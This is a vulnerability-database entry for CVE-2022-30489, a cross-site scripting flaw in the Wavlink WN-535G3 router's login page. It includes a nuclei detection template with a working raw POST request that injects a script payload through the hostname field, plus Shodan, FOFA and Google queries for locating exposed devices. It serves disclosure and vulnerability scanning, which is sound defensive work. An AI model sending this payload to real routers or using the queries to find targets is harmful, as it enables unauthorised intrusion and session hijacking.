HexBrain

Browse / CVEs / CVE-2022-30489

CVE-2022-30489· wavlink / wn535g3 firmware· CWE-79

Wavlink WN-535G3 - Cross-Site Scripting

mediumseverity
6.1CVSS score
4.2%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

Wavlink WN-535G3 contains a POST cross-site scripting vulnerability via the hostname parameter at /cgi-bin/login.cgi.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest firmware update provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: POST /cgi-bin/login.cgi
Positive when: contains "<script>alert(document.domain);</script>" and "parent.location.replace(\"http://\")" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-30489 -u <target>

The full check
id: CVE-2022-30489

info:
  name: Wavlink WN-535G3 - Cross-Site Scripting
  author: For3stCo1d
  severity: medium
  description: |
    Wavlink WN-535G3 contains a POST cross-site scripting vulnerability via the hostname parameter at /cgi-bin/login.cgi.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://github.com/badboycxcc/XSS-CVE-2022-30489
    - https://github.com/badboycxcc/XSS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-30489
    - https://github.com/trhacknon/Pocingit
    - https://github.com/trhacknon/XSS-CVE-2022-30489
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-30489
    cwe-id: CWE-79
    epss-score: 0.04194
    epss-percentile: 0.91024
    cpe: cpe:2.3:o:wavlink:wn535g3_firmware:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn535g3_firmware
    shodan-query:
      - http.title:"Wi-Fi APP Login"
      - http.html:"wavlink"
      - http.title:"wi-fi app login"
    fofa-query:
      - title="wi-fi app login"
      - body="wavlink"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,xss,wavlink,router,iot,vuln

http:
  - raw:
      - |
        POST /cgi-bin/login.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        newUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=")</script><script>alert(document.domain);</script>&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<script>alert(document.domain);</script>'
          - 'parent.location.replace("http://")'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from